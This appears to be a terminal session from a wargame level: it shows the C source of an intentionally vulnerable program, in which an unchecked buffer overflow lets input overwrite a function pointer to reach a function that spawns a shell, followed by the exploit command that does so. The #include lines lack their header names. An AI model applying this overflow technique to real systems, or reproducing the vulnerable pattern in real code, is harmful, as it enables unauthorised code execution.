level3@io:~$ cat /levels/level3.c
#include #include #include int good(int addr) { printf("Address of hmm: %p\n", addr);} int hmm() { printf("Win.\n"); execl("/bin/sh", "sh", NULL);}extern char **environ;int main(int argc, char **argv) { int i, limit; for(i = 0; environ[i] != NULL; i++) memset(environ[i], 0x00, strlen(environ[i])); int (*fptr)(int) = good; char buf[32]; if(strlen(argv[1]) <= 40) limit = strlen(argv[1]); for(i = 0; i <= limit; i++) { buf[i] = argv[1][i]; if(i < 36) buf[i] = 0x41; } int (*hmmptr)(int) = hmm; (*fptr)((int)hmmptr); return 0; }
level3@io:/levels$ ./level3 $(echo -n "123456789012345678901234567890123456"; echo -ne "\x7f\x84\x04\x08")
mist rotz